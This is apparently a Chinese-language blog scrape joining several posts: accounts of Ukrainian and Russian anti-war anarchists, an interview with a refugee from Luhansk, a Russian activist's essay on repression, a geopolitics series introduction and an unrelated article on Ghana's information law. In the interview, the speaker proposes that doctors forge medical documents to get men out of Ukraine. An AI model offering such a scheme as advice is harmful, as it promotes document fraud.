伊利亚说：“在俄罗斯，一场广泛的反战运动正在兴起，我绝对欢迎，但在乌克兰这里，据我估计，大多数进步人士、社会主义者、左翼和自由派，现在都站在反对俄罗斯侵略的一边，但这*并不*意味着与乌克兰*国家*团结一致”。

谢利亚琴科指责双方的右翼民族主义分子造成了致命的战争，到目前为止，这场战争已经夺走了数百甚至数千名平民的生命。https://www.patreon.com/posts/e-wu-ju-shi-guan-61754322

- 如果您错过了《乌克兰战争引发的大变局，绝不是中国人的“瓜”》

谢利亚琴科和一位和平活动家同伴因反对与俄罗斯支持的分离主义分子开战而被乌克兰的一个极右翼网站人肉并列入“黑名单”，然后在街头遭到新纳粹分子的攻击。然而，他强调说，自2014年废除乌克兰亲俄总统的独立广场起义以来，法西斯团伙和极右翼极端民族主义分子的崛起，*绝不是*普京所说的俄罗斯血腥入侵的借口。

“目前的危机中，各方的不当行为由来已久，进一步采取‘我们这些天使可以为所欲为’和‘他们这些恶魔应该为他们的丑陋行为承担代价’这样的二元态度将导致局势进一步升级，不排除核灾难的发生”，谢利亚琴科说。https://t.me/iyouport/10135

虽然许多平民自愿与乌克兰军队一起作战，但随着战争进入第二周，除了与俄罗斯人作战之外，活动家们还有很多事情要做。伊利亚说，“民间志愿者”正在帮助家庭逃离暴力，向世界各地的媒体发表讲

话，支持参与抵抗的战士的家人，收集捐款和物资，并向从前线返回的人提供照顾。工会目前正在组织资源，帮助难民逃离被战争蹂躏的乌克兰东部，前往西方和波兰等邻国。

志愿者们来自不同的政治背景，但对于像伊利亚这样的无政府主义者来说，参与抵抗活动为提高激进派活动家现在和战后影响政治和社会发展的能力提供了一个途径。作为一种生存手段，提供互助和自主抵抗的基层“自我组织”也在各地涌现。

“要说明的是，在我们这里并不是每个人都认同无政府主义。但更重要的是，很多人自发地组织起来了，互相帮助，守卫他们所在的街区和城镇以及村庄，用燃烧瓶对抗占领者”，伊利亚说。这正是无政府主义的直接行动。

同时，谢利琴科和分散的和平活动家继续反对强制征兵，其战术包括非暴力的公民抗命。谢利亚琴科说，18至60岁的男子不只有被禁止离境，还“被禁止行动自由”—— 没有军事官员的授权，甚至不能租酒店房间。

谢利琴科说，官僚主义的繁文缛节以及歧视性的兵役替代方案甚至连宗教人士也出于良心拒服兵役。他补充说，外国活动家应该呼吁所有平民从冲突地区撤离，不分种族、性别和年龄，并向那些不把更多武器带入乌克兰以至于可能使冲突升级的援助组织捐款。

谢利亚琴科说：“如果不对发展和平文化和公民的和平教育进行投资，我们将无法实现真正的和平”。https://t.me/iyouport/10100

俄罗斯克拉斯诺达尔的一名反战抗议者。

https://t.me/iyouport/9876

采访来自乌克兰顿巴斯的流亡者

「图」

Ex-Worker Podcast 对一位来自卢甘斯克的无政府主义者进行了音频采访，他目前正通过乌克兰逃亡。谈话内容涉及战争中的日常生活、戒严令、武装部队的政治构成、社会基层动员防御和互助、边境局势、以及乌克兰以外的人们可以提供支持的方式。您可以在这里收听音频版本，或阅读下面的文字记录。

感谢您与我们交谈! 能介绍一下自己吗？

好啊，我的名字是D-。我是一名30岁的英语教师，来自卢甘斯克，是一名自由职业者，目前在赫梅利尼茨基 (Khmelnytskyi)。

您能讲一下您现在所处的情况吗？

过去五年来，我一直住在基辅，大约五天前，我和其他几个人带着几只动物决定撤离基辅。于是我们上了一辆和我们一起旅行的朋友的车，来到了赫梅利尼茨基。现在，我们被困在这里了，我们的车子无法启动。正在抓紧时间修车。

与基辅或哈尔科夫等地相比，赫梅利尼茨基总体上非常平静。但它只是在战争方面很平静，可以说是在俄罗斯坦克和炮击以及所有这些东西方面。

但就人们在这里的感受和当地居民的总体情绪而言，就远非平静了。有很多猜疑、紧张和不安的情绪。每天当地人都在预测，这可能是这里所有灾难爆发前的最后一天。在这种情况下，与我们离开的地方相比，即使我在这里观察到的实际的相对和平，也真的很难谈得上什么享受。

这就是目前的情况。

我们知道全国各地已经宣布了戒严令。这在日常生活中是什么样子的？

与任何戒严令一样。其中之一就是全国各地都实行了宵禁，规定不能在几点后出门。还有动员[即征兵]，它阻止所有18至60岁的男性离开该国，我想今天议会已经批准了泽连斯基总统动员所有人的计划。

另外，有很多民兵，我们称他们为国土防卫队，由所有决定拿起武器或以其他方式协助的志愿者组成。他们现在在街上巡逻。如果发现任何人看起来不熟悉地形，就会被询问，他们试图确认每个人的身份，弄清楚他们是否对乌克兰构成威胁，可以说就是这样。

在我迄今为止看到的所有战争中，都是如此，你能指望的人权比你想象中的要少得多。但我想，对乌克兰的大多数人来说，所有这些“激烈的时代，激烈的措施”的东西确实有意义。我个人有点担心的是，因为我是一个曾经经历过这种情况的人（我的家乡卢甘斯克在2014年被入侵），我知道不幸的是，很多时候，这些激烈的时代早就过去了，但激烈的措施在未来几年内仍然存在。例如，**2014**年在卢甘斯克

宣布的宵禁从未被取消；基本上晚上不能出门已经八年了，军队在街上巡逻已经八年了，所有这些措施的实施已经八年了。我有些担心，在这个过程中，乌克兰可能会失去很多东西，我更担心的是，一旦我们结束这场战争，那些失去的东西会一直失去。

我实际上没有意识到在*2014*年东部战争期间你也在那里。关于那段经历，或它如何塑造了你现在所经历的一切，你有什么想分享的吗？

当然，我必须承认，我实际上没有亲眼看到2014年时的战事。我是在那年4月离开的，也并没有真正相信战争会开始。我决定骑自行车去格鲁吉亚旅行，所以我骑车穿过俄罗斯南部，最后到了第比利斯，当我到达那里时，已经是2014年5月了，那是战争开始的时候。其实我实际上只计划旅行几周，结果是，我反而旅行了三年，因为我不知道该回哪里了。所以我错过了整个事情的战争部分；我看到了它的所有积累，我看到了导致它的事件，但我以前没有被炮击过 —— 实际上这是我第一次真正面对战争。所以我不能说我见过两次战争；我只是以某种方式、在某种维度上经历了两次，但我以前没有像今年这样亲眼看到活跃的战场。

你是否与乌克兰军队有过互动？对此时武装部队的组成或正在战斗的人之间的政治动态了解多少？

我个人认识一些自愿参加国土防卫的人，他们来自各种背景。有的人被认定为反法西斯主义者和反独裁者，自然这里面也有大量的爱国者和民族主义者，还有一些普通人，他们平时根本不关心政治，只是在这种压力和愿望下，想做点什么来加速战争的结束，他们也是自愿的。

但考虑到乌克兰的人口结构，它缺乏政治多样性，它首先是非常单一的，所以很自然地，他们的队伍中会有比其他地方多得多的右翼人士。但在我看来，这只反映了乌克兰社会在更大范围内的实际构成，并不是说这种特定的职业在某种程度上对右翼比对反独裁者更具吸引力。

但这只是我的印象；我没有具体数字，真的。

回顾无政府主义者在入侵前几周的讨论，你认为你准确地理解或预测到了什么？哪些让你感到惊讶？

我对入侵并没有真正的准备，尽管它至少在一年前就已经笼罩着我们了。在它开始之前的大约三四个月里，整个西方媒体对这一事件的关

注度一直在上升。我认为，直到最后一刻，大多数平民还只是希望它不会发生，因为在持续的恐怖中度过一整年并为自己的最后日子做准备是非常困难的。我认为这里的人们养成了一种习惯，就像是过一天算一天，而不是提前做任何实际的末日准备。所以在这方面，我就像我所熟悉的大多数人一样，基本没有什么准备。

战争的发展方式也有些令人惊讶。我确实希望俄罗斯的计划在规模上会稍逊一筹—— 我以为会像我们在2014年时在我的家乡经历的那样，所有的进展都类似于前进两步，后退一步：我们会夺回一些领土，虽然不是我们失去的一切，这样每个人都能感到有些胜利，然后它就会停止，至少是疯狂的部分停止，然后再持续几年。但不幸的是，在这一点上，我天真的希望似乎被证明是错误的。现在还不完全清楚进攻方的目标是什么，他们的最终目的是什么，他们要实现的是什么。因为入侵的规模是巨大的，其破坏性几乎是本世纪以来我们在乌克兰任何地方所见过的都无法比拟的。这不是乌克兰人说的话，而是俄罗斯反抗者。您将在下文中读到。

战争的经历如何影响你对无政府主义和社会变革的思考？以及，我们应该做什么？

我对许多无政府主义者的反应感到惊喜。他们非常迅速而有效地在这场战争中找到了自己的位置；他们正在做事，合作和组织，抵抗帝国的入侵。

在2014年开始的战争中，远没有那么多革命者在战斗。当时似乎很多人觉得那是我们需要为和平做出的牺牲 —— 我这里指的是乌克兰失去的领土—— 不值得让任何人为之流血。人们广泛接受了这些损失（当然是不满意的）。但随着这一新的发展，我是说现在的战争已经进行了八天，许多人已经意识到，认为你可以满足这条巨兽的想法是天真的。只要它还活着，它总是会再次饥饿，所以现在是时候表现出一些抵抗力了。

至于我对无政府主义的看法 …… 乌克兰政府在这期间的行为方式，几乎叫所有人都拿起了武器。同时，在我的一生中，我从未见过如此大规模的基层组织，以及人们为彼此做事，以众多方式自愿地义务地合作。这是相当令人印象深刻的，它实际上表明，无政府主义确实有巨大的潜力，因为我们已经看到，如果没有无政府主义，没有人们对事业的承诺，没有人们对尽一切可能赢得战争的兴趣，事情会如何发展，我们在**2014**年就看到了那种状况。

克里米亚在没有一枪一弹的情况下就丢了，然后是卢甘斯克，我的家

乡，也在没有这种大规模的、坚定的斗争中丢了。当然，我不想贬低军方在那里的所作所为，但我想，这自然与我们现在的战斗完全不同。因此，这确实告诉我，即使在一个诸如无政府主义、反独裁主义和一般的左翼完全被打压和边缘化并几乎被抹去的国家—— 即使这样，仍然有如此多的潜力和人民的行动力来对抗据称是世界上最强大的军队之一。

所以总的来说，它确实给了我很大的希望，让我对我曾经持有并仍然持有的想法充满希望。

你能告诉我们更多关于社会从基层动员起来的一些方式吗？

现在互联网上到处都是这种情况。我们看到人们是如何自愿做各种事的；一些人互助驾驶，彼此娱乐，互助食物，照顾被遗弃的宠物，帮助提供医疗用品，有一些企业（我不想赞美企业）但甚至一些企业也在挺身而出，帮助人们提供物流、食品、药品，人们需要的所有必需品，特别是在这种正常社会崩溃和重组的时候，你真的不能指望什么；你不知道你通常指望的服务是否还起作用，甚至是否还存在。

只有互助才能拯救所有人。

在这里和那里，全国各地的人们都在挺身而出。互联网在其中发挥了巨大的作用，还有一般战争的纯粹绝望和恐怖。当你被困在某个地方，而且真的很糟糕的时候，你肯定会想做任何事，不管是谁，都可以，以减轻自己和你周围的人的痛苦，并帮助尽快结束这场灾难。

因此，我确实看到了很多例子，关于食物、医疗保健，以及给人们提供住宿的地方—— 就我而言，我在一个我从未去过的小镇上的一个陌生人家里住了好几天，得到了很多东西。这一切真的很鼓舞人心。所以，是的，我认为人们正在各种方面挺身而出，提出各种要求，并为他人所经历的斗争而奋斗。这很鼓舞人心。

我们听说，此时此刻，自入侵开始以来，已有超过一百二十多万人逃离了乌克兰。你能告诉我们边境上的情况吗？当你到达那里时，你的期望是什么？

我仍然不确定我是否会被允许离开。尽管我有糖尿病，但我的军事文件说我“仍然有资格在战争时期服役”，而这正是我们现在的情况。所以我想我可能不得不留下来，除非我会对违法行为感兴趣。但不管我是否可以离开，边境的情况对每一个到达那里的人来说肯定都是挑战。我知道在边境上有30英里长的队伍，人们排着长队试图通过；有

些人花了几天时间排队以试图进入波兰。

值得一提的是，有色人种，所有拉美人、非洲人，几乎所有“其他人”，都比乌克兰白人更难以通过边境进入欧洲。

还有一些报道说，有很多人试图利用人贩子；人们被告知要非常怀疑那些特别向有吸引力的年轻女性提供“帮助”的人，因为根据我所听说的，这也可能是一个陷阱。

另外，有些人试图收取数千美元的贿赂以换取在逃难潮中插队，以及其他类似的东西。但另一方面，我认识的一些人正在做各种各样的互助工作：在他们自己靠近边境的房子里接待多达十个人，不断给逃难者提供食物，自愿为每个试图逃离的人提供他们能够提供的任何帮助。

因此，就像任何其他危机一样，当然有残暴的一面，也肯定有一些能激发希望的一面。但是，与欧洲的边界目前绝对不是一个“寒意刺骨”的地方，我可以告诉你这一点。

总之，这就是我们目前似乎要去的地方，只要我们的车修好了。无论如何，不管发生什么其他情况，这里似乎仍然是一个不会很快被炮击的地区。离欧洲越近，就越安全。所以这是我一直往西走的主要原因，只要我们能做到，能走多远就走多远。

你在那里看到的人们在国际支持或声援方面希望看到什么？你认为如何做才可能带来变化或有效？

嗯，这真的需要具体看情况 …… 我无法确定当你把钱寄给大多数非政府组织时，这些钱最终到底去了哪里。但我确实认为这可能是一件好事。大多数人现在需要钱，几乎所有被困在乌克兰而不能离开的人都需要钱。红十字会，或任何你确信不会伤害任何人的团体，只是为了缓解局势和减少痛苦的团体，不会是一种浪费。

任何身处战争中的人最需要的都是结束战争；第二好的东西是逃离战争的机会。鉴于现在，乌克兰正在阻止任何不想打仗的人逃离该国，任何能够绕过这一点的方法 —— 比如，做医生的人可以伪造某人的证件，说这个人病得很重，需要去柏林或巴塞罗那诊断，或者其他什么的，都会有用 ….. 现在要确定哪些东西在这方面有帮助，还为时过早，但这些东西对许多人来说可能是非常宝贵的。

还有就是，作为个人的支持。如果你认识在乌克兰的人，而你有多余

的美元，请寄给他们。我认为他们会很难拒绝的。

在[地缘]政治的规模上，我现在已经超越了这一点。显然，无论如何，美国作为一个海外帝国所做的一切都没有带来多少好处。早在2014年，我们只是默默地看着我们的领土是如何被吞并的，几乎没有什么反抗。而当美国开始吓唬大家，警告大家，并更多地参与进来时，我们只是发生了一场更大、更血腥的战争。

所以……我不认为美国作为一个国家所能做的任何事情都会对我们非常有利。我只能想象，如果美国在当地介入，可能会发生什么，因为我们已经看到了在许多其他国家，如阿富汗、库尔德斯坦等地的结局。

因此，我认为帮助应该是基层的，从人民到人民，或者为那些考虑到人民利益的组织，而不是公司或政府或类似的机构。我认为，这将是对有人能抽出的任何资源的最有效利用。

关于乌克兰现在发生的事，你还有什么想让我们的听众知道的吗？

我认为现在有很多来自乌克兰的声音，特别多，相比下俄罗斯和我的家乡的声音极少，所以人们可以从自己的角度得到某种画面，了解这里的需求是什么，这里的恐惧和希望是什么。倾听这些声音并表示你的声援，是我们所能希望的最好结果。因为随着这些战争的持续，这个世界往往会变得更麻木，对消息失去兴趣。

只要你还有这种兴趣，我们就应该尽力传播这里发生的事，那些愿意伸出援手的人不应该等待，否则，迟早有一天，你会不记得乌克兰是什么。

世界各地的这些战争都是这样的。两周通常是大众注意力持续的极限时间，或者至少是在它成为另一场无人问津的战争之前达到顶峰的期限。

感谢你与我们交谈！

感谢你们的邀请，只要还有人愿意听，我很乐意分享。

戏剧《俄罗斯的悲伤》在圣彼得堡的贴纸，这是一部描述 “俄罗斯*人*的俄罗斯” 的剧作

我在俄罗斯的日子

「图」

我在俄罗斯的日子无比紧张。

请不要误会我的意思，炸弹并没有落在我们头上。然而，我们正看着炸弹落在乌克兰人身上。我的家人跟着俄罗斯电视重复："泽连斯基把军队藏在城市平民区里，所以我们的军队必须轰炸平民区"。

与我们的家人和街上的人交谈是非常重要的—— 很多人并不真的支持战争，但他们经常试图说服自己，这场战争有一定的 "合理性"。他们只是不希望自己成为这场噩梦的帮凶。

出于这个原因，在相关话题的对话中，人们感觉受到了对抗，可能会受到感情的伤害，但他们肯定能与你产生共鸣，并倾听你所说的话，这可能是非常重要的。

日复一日的压抑是很强烈的。任何人，甚至是小孩子，都会因为任何形式的海报抗议而被逮捕。

这些天，你甚至不能拿着一张纸站在街上，不管上面有没有写着 "战争" 这个词，你都会被逮捕。

在莫斯科和圣彼得堡，警察正在殴打人们。

不过，这似乎并没有吓到人们。许多人再次走出去。他们寻找斗争的方法。他们组织起来。

从今天，3月4日开始，抗议战争或传播任何不是来自俄罗斯国家官方来源的战争信息，都是犯罪。你可以因此被判处最高15年的监禁。对于一家报纸来说就是，作为记者你就像在地雷阵里工作，你只能有一次犯错的机会，然后粉身碎骨。国家检察院甚至在全国所有地区设立了针对反战运动的 "特别小组"。

尽管如此，无论事情有多难，我们都没有处于面临军事侵略的境地。在俄罗斯，人们可以 "选择" 是否抗争。也许这就是为什么乌克兰的武装抵抗在某种程度上似乎更容易：那里的人们并没有真正的选择。

在俄罗斯，为了抵抗战争，每个人都必须做出道德判断，估计风险。袖手旁观并不是一个真正的选择，尤其是当这种侵略是以我们俄罗斯人民的名义—— 或者至少是以我们的国籍、我们的所谓身份的名义—— 进行的时候。然而，这是一个必须做出的选择。俄罗斯的人们现在正面临这种选择。

目前我已经离开俄罗斯多年了。在我离开之前，有压迫，但公民依然有办法公开组织政治斗争，上街游行，那时候我们不必太担心逮捕或罚款。在某些情况下，极右翼是一个令人担忧的原因；我们总是要考虑到自我防卫的不同方面。但在2012年时，至少你还不必对自己说“我是一个无政府主义者，这意味着我必须为监狱和酷刑做好准备”。俄罗斯防暴警察在一辆加固的警车上，准备部署对付圣彼得堡的反战抗议者。

现在，我们的自卫实践涉及到这样的问题：“我们如何避免仅仅因为在Telegram上发了一个帖子而被逮捕？”

从这些方面讲，今天，我们的自卫不是以捍卫我们的文化、社会、关系和思想的愿景为前提的，而是以避免被镇压、对国家的行为作出反应、维护我们的个人自由、远离监狱为前提的。

当我们从长远角度考虑时，这是我们在俄罗斯的运动的一个很大的缺陷，因为事实上，我们没有任何地方可以依靠，没有人可以向我们保证任何事。我们甚至不能保证我们彼此间能手拉手站在一起，看着对方的眼睛，知道无论发生什么，我们都会是同志，我们会继续斗争。无法保证。

我们缺乏战友情谊，缺乏资源，缺乏基础设施，缺乏关于今天如何斗争以及如何在未来几十年继续斗争的意识形态观点。

我们缺乏这样的信念，即：为了你的自由，为了你的幸福，为了你的生命本身，你能做的最好的事就是斗争。

我们缺乏这样的信念，即：如果你奋斗，即使你死了或进了监狱，也是值得的，你的决定是正确的。

正是这种想法 —— 斗争就是生活，生活就是斗争 —— 这种哲学观点，这种感觉，可以使你在最困难的情况下使自己恢复理智，保持斗志。

同志们，我们彼此是唯一能够相互帮助的人。

现在，在我这个远离莫斯科的小镇上，仅仅为了出去贴一张海报和喊几句口号，我们就必须召开一整天的会议，思考我们的战略，提出战术，衡量风险与收益的关系，分析立即做任何事的紧迫性。

我可以从队友们的声音中听到焦虑和恐惧。这抑制了人们的想象力。在这些时刻，我们可以感觉到，如果我们不能真正想象出我们的胜

利，我们就无法赢。现在，我们甚至还在努力想象自己如何组织起来并战斗。

这就是我在这里看到的不同，现在，在离开一段时间后回到俄罗斯。这就是过去十年在这里出现的发展。现在，每个人都必须考虑自己准备好了什么，无论是个人还是集体。

我们现在可以看到，我们必须努力，在安静的时候进行准备和组织，而不仅仅是在紧急的时刻。因为现在，没有结构，没有经验可以传授，很少有人愿意承担责任，把自己摆在前面，只因为这是值得的 ..... 没有任何组织来提出建议，只有混乱、恐惧、愤怒和无助的感觉。

不过，我注意到一件事。我在想，我能看到这一点只是因为我是无政府主义者，我希望看到这一点吗？还是我看到这一点是因为它正在现实中发生—— 但似乎的确有越来越多的人开始觉得普京已经越过了他妈的最后一条线。他们看到自己的政府如何否认一切，而流传的视频显示乌克兰城市被火箭弹炸毁，平民被撕成碎片。

感觉好像我们已经穿过了某种迷雾，人们正在觉醒。一切都还很混乱，但噪音太大，太明显，让人无法长久地沉睡下去。似乎每天都有更多的人在醒过来，而且越来越多。

俄罗斯的反战抗议者。

对我们无政府主义者来说，胜利和失败的问题一直很复杂。现在，如果我们要想象俄罗斯国家的失败，不妨问问自己这将意味着什么。

一方面，内战通常不会开启解放的可能性，也不会导致社会革命——相反，通常情况下，内战只会让所有人淹没在参与者的鲜血中。纯粹的军事胜利绝不会是无政府主义者的胜利。

我们认为无政府主义者的胜利需要几代人的革命努力和社会的发展，涉及到许多斗争的战线。军事交战只是自卫的拼图中的一块；如果没有更大的社会结构和社会关系为自卫提供意义和目的，它是不可能的。

另一方面，俄罗斯国家及其意识形态在政治和军事上的失败，无论会是什么样子，都可能打开裂缝、断层、通往革命社会变革形式的大门，而这对于“国家监狱”中的俄罗斯人民来说，大约一百年来都是不可想象的。

对于俄罗斯人来说，这一次是不成功便成仁。

在这方面，我看到俄罗斯的女权运动有巨大的潜力。现在，我看到这个运动的参与者正在尽最大努力组织起来，把他们的观点带到街头，带到人们面前。谈到提出自卫的愿景，将斗争的多种形式和意义汇集到一个具体的哲学中，我相信无政府主义者和女权主义者可以比其他人做得更好。

特别是当涉及到武装斗争时—— 迟早总会以这种或那种方式进行，因为那是自卫的一部分—— 我们必须认真听取我们在俄罗斯和世界各地的女权主义同志的观点，反思她们的意见，确保有空间让她们自主组织。我们可以从经历过罗贾瓦组织和斗争的妇女、**LGBTQI**战友的观点中获益；这可以让我们了解到革命进程，而这是很难得到的。

在这种情况下，有可能想象出两种情况的演变。要么我们将看到一个专制国家的崛起和加强，这是我们这一代人还没有经历过的；要么，事件将朝着更自由的明天发展，普京政权分崩离析，我们的社会终于能够共同做出改变，对抗保守的右翼分子，他们不会放弃一个所谓“俄罗斯世界” 的梦想。

光有希望并不足以使后一种情况成为现实。我们现在就必须为之付出艰苦的努力，利用过去几十年留下的所有基础和前几代老革命家留给我们的每一个模式。“那个人死了。这个人也会死” —— 几年前，俄罗斯公共汽车站的游击艺术。

但对我们来说，还是有区别的：在这样的不确定性和不稳定性中，现在必需是开始思考长期问题的时候了，想象我们在十年、十五年或二十年后想要达到的目标。

我们可以从我们想要达到的未来到我们现在面临的情况，一路向后计算我们需要采取的步骤，以确定我们今天需要采取的步骤。

当然，有很多事情我们无法提前预测。但这个练习首先是把反抗斗争作为一个终身的承诺，把镇压和国家政府理解为严重的敌人，但也是一个更大的历史斗争中的插曲，这个斗争已经持续了很长时间，在我们离开这个世界之后，其他人还会继续进行。

以这种方式来理解我们自己，我们在这场斗争中和它的发展方式中继续生存，通过我们为后代留下的遗产。

随着俄罗斯的镇压加剧，这样理解可能有助于我们在即将到来的状况

中生存，能够在未来的时间里站稳脚跟。它还可能帮助我们确定我们自己与并肩作战的同志以及我们尚未遇到的同志的关系。而且可能会有很多新的反抗者出现 —— 这种情况贯穿我们整个社会，改变了社会的面貌。

这种思维方式可以起到在以前不可能的地方创造合作和团结的作用，并将我们作为无政府主义者与其他可以合作的人联系起来，创造一个更好的世界。

我们和周围的人是我们彼此的全部，我们必须能很好地理解我们社会中目前的断层。现在是前所未有的勇敢和坚持的时候—— 现在，当我们很难想象下周会发生什么的时候，我们必须以这样的方式行事，无论未来几个月和几年会发生什么，我们都能对自己诚实，并能以自豪、爱和微笑的方式看着对方的眼睛。

○

Vue d’Ukraine, vue de Russie

War Is Forcing Ukrainian Leftists to Make Difficult Decisions About Violence

原文

从北京到世界：乌克兰战争(9) - 一个危机重重的新全球格局 - iyouport

乌克兰战争

能源和粮食，自古以来都是政治变局的燃爆点。当然，这取决于谁和如何利用它 ……

3月22日，泽连斯基说，他已经 “准备好与俄罗斯总统普京进行谈判，谈判达成的妥协将付诸公投”。当天，我们对此进行了一些解释：

> 不论妥协的是什么，都不会起到真正的作用。

📌 欢迎回来！这里是乌克兰系列第9集。如果您错过了前面的部分，可以在下面回顾：

- 《一个 “赚大钱的完美机遇” 1️⃣》
- 《多元化主流 2️⃣》
- 《当你处在双面夹击的火力之下 3️⃣》
- 《”反对所有边界，抵制所有帝国，对抗所有战争”—东西方冲突中的乌克兰 4️⃣》
- 《“人民的自由，帝国去死”—俄罗斯无政府主义者对局势的分析 5️⃣》
- 《俄罗斯的选择，和这一切灾难的根源：乌克兰系列 6️⃣》
- 《这一次，不成功便成仁：乌克兰战争 7️⃣》
- 《制裁的”作用”是什么？：乌克兰战争 8️⃣—从“伦敦格勒”到北京》

如您所知，这场战争已经改变了全球格局，我们所有人都在被迫进入一个新的状况中。在3月13日，我们就此进行了一些简要的总结：

> 战争的 “倒车”——
>
> 值得认识的是，正在发生的事具有世界大战的所有特

征：一场有两个以上国家参与的武装冲突，其后果影响到整个地球的经济和政治。

没有任何一场世界大战的结果能让社会保持一成不变。这次也一样，它将改变整个世界和这个世界上的人类。

1. 战争埋葬了21世纪初公民社会规范的概念—— 现在，只有当“宽容”成为强者手中的工具、并且有利于强者获得道德优势时，它才会存在。

这在以前是可以理解的，但现在，他们已经决定完全不讲究仪式感了。

关于平等权利和个人选择权的喋喋不休已经成为过去。引人注目的是，新世界的第一批沙文主义者是既定的自由派偶像—— 那些最能感受到政治时尚的人。

2. 总的来说，民主已经被遗忘了—— 在几乎所有国家中。国家官僚机构又一次写下了规则，甚至没有想到要征求人民的意见，而公民在事后才了解到新的规则。极权主义的做法是在实行个人限制的过程中形成的，而战争只是加强了这些做法。

3. 作为第2点的结果，各国内部对政治的看法将发生明显变化。

4. 所谓的集体责任的原则使人们再一次回到了民族国家统治的时代。现在，每个人又成为了自己“国家”的公民，不管一个人在海外有多少钱。国家主义甚至种族主义再次大行其道，国际主义和开放世界的思想正在成为过去。

5. 公司也已经变得不如国家。跨国的公司主义正在消亡。如同东印度公司时代，商业是国家利益的代理人。

6. 所谓的元现代的时代还没有真正开始。世界已经倒退回了保护点，回到传统社会，集体高于个人（亚历山大·杜金构想的噩梦正在世界各地实现）。

以上只是最简要的概括性的预测。本集内容将进一步就各领域所面对的实际影响进行一些分析。

📌 本集内容分为以下部分：# 中国和俄罗斯之间会发生什么？

- 北京有可能如何“利用”乌克兰危机？它怕什么？
- 全球支付系统将出现什么样的变化？
- 乌克兰战争改变了全球能源—经济—政治，一个新格局正在出现。它是什么样的？
- 即便炸弹停止落在乌克兰，等在前面的还有另一种战争。那是什么？有多危险？
- 西方左翼为什么支持俄罗斯和中国？不，那些不是真正的左翼。那么他们是谁？他们为什么如此荒唐？

1. 《鱿鱼游戏，资本主义的游戏》
2. 制裁切断了俄罗斯银行与全球金融机构的联系，使俄罗斯家庭和企业更难获得贷款和使用信用卡。

- 许多西方公司已经迁出俄罗斯，名单中包括麦当劳、星巴克、苹果、高盛、摩根大通等等。
- 一些公司已经停止向俄罗斯出口零部件，使俄罗斯公司更难制造手机、汽车和其他高科技产品。
- 莫斯科的股票市场一度停止了交易；当它恢复时，股票价格几乎肯定会出现灾难性的暴跌。
- 俄罗斯的货币卢布自入侵以来已贬值近一半，从而提高了任何进口物品的价格。俄罗斯的穷人首当其冲感受到这份痛苦。

1. Nickel crisis points to fragility of global finance

- How Sanctions on Russia Will Alter Global Payments Flows
- Amid War in Ukraine, Global South Faces Brunt of Rising Food Prices
- The war for democracy
- Six FAQs on Anti-Imperialism Today and the War in Ukraine
- The Geopolitics of Hell
- The Invasion Of Ukraine: Anarchist Interventions And Geopolitical Changes

○□

原文

"加纳的维基解密"：透明度斗争 - iYouPort

透明度革命

透明度、知情权，民主的根基，就如粮食，一分耕耘才有一分收获；不间断地耕耘才能不会挨饿……

「图」

「图」

六月份听到过一个有趣的事。G20前夕，中国国社组织“揭露美国弊端”的系列话题，其中一个话题是关于信息自由法案的。

可以说这次打得有点准。信息自由法案基本是个摆设，不仅在美国，在英国和其他很多国家都是如此 —— 不仅信息请求严重耗时，并且，最终被揭露的信息很有可能是被编辑过的，而不是真相。

我们介绍过反抗者如何利用技术能力抵制这种恶意掩盖真相的行为，详见《高明的反抗》。

回过头来看，正因为信息自由法案基本是个摆设，透明度革命才应该具有强大且持久的生命力。就如耕耘。

任何政权都不喜欢真相。因为权力建立在谎言之上。

当权者会想尽各种办法掩人耳目，阻止公民知情。不论是今年徒增的科技寡头封杀OSINT技术工具、还是去年开始的对公民掌握真相事业的歪曲和打压。

但是中国国社的稿件在最终编辑的过程中中被删除了一段话。

被删除的这段话的大概意思是：“中国应该效仿信息自由法案的实施，相信中国能比美国做得更好……”。您肯定已经猜到了，因为，9月份已经出现了举世震惊的暴力污染（在这个链接里看到 thread）。

显然，那句话不符合该议题的整体目标 —— 目标仅仅是抨击美国的

弊端，并没有对信息自由的支持。

但是以美国为首的国家正在对透明度革命发起猛烈攻击，五眼国家澳大利亚甚至翻出了多年前的旧报道，对记者抄家。

在这种情况下，信息自由法案“有”比没有更好。法律存在，就可以不断通过抗议修补其漏洞，作为 planB 是有必要的。

但信息自由法案不能替代透明度革命。因为当权者掌握对法律的控制权。

加纳是一个很好的案例。这里的透明度革命抗争从来没有停止（虽然很不专业，安全性非常低）。

透明度革命的生命力不仅需要民主热情和勇气，还需要高明的技术能力 —— 因为，如果说真话的人不断被捕，只会迅速挫败革命士气，捍卫真相的工作将难以延续。

「图」

「图」

Soldiers stand on a platform behind mourners queuing to pay tribute to late President John Atta Mills lying in state at the parliament in Accra on August 9, 2012. Thousands of Ghanaians in their black traditional garb and red tops file past the body of late President John Atta Mills to pay their respects ahead of the burial which is slated for Friday. AFP PHOTO / PIUS UTOMI EKPEI (Photo credit should read PIUS UTOMI EKPEI/AFP/GettyImages)

经过二十年的拖延，加纳新信息权法案于四月获得通过。理论上它应该为国家机构带来透明度，授权调查记者了解真相；但是，它可能会产生相反的效果。

在政府拖延的二十年中，记者和民间社会团体无数次示威，现在加纳终于通过了期待已久的信息权法案。这部法律本应旨在确保反腐败斗争的透明度。

新的立法由 Nana Akufo-Addo 总统签署成为法律。

但是，记者和活动人士担心，该法律可用作政府限制记者在 **Facebook** 和 **Twitter** 等流行在线平台上分享曝光信息的工具。

社交媒体在允许记者和公民（通常是匿名的）发布泄露的政府文件方面发挥了重要的作用，使调查新闻事业可以蓬勃发展。

加纳是非洲排名第七位的腐败程度较低的国家，但是在打击制度化腐败方面仍有很长的路要走。

在加纳大学最近进行的一项调查中，88%的受访者表示他们坚信该国政府部门存在腐败现象。

如上所述，该法律被拖延的这二十年恰恰是加纳对新闻记者的攻击数量快速增多的二十年。

从2005年到2014年，共发生了138起针对记者的暴力事件，其中大多数攻击者是警察、军队和政党分支机构的成员。

今年1月，一名揭露加纳足球协会（GFA）腐败内幕的记者在一次驾车射击中被杀死。

受害者 Ahmed Hussein-Suale 是调查记者团队的成员，正是他们拍摄到了前 GFA 老板 Kwesi Nyantakyi 接受贿赂的内幕。

Nyantakyi 被国际足联撤职并被罚款50万美元。

「图」

「图」

Mourners stand beside the grave of slain Ghanaian investigative journalist Ahmed Husein Suale during his funeral in Accra, on January 18, 2019. – The 34-year-old reporter was gunned down as he returned to his home in the Madina area of the capital, Accra, in the night of January 18, in a killing that sparked outrage. Husein was part of an investigative team that lifted the lid on graft in the sport last year, which led to the sanction of a string of top officials, coaches and referees. (Photo by RUTH MCDOWALL / AFP) (Photo credit should read RUTH MCDOWALL/AFP/Getty Images)

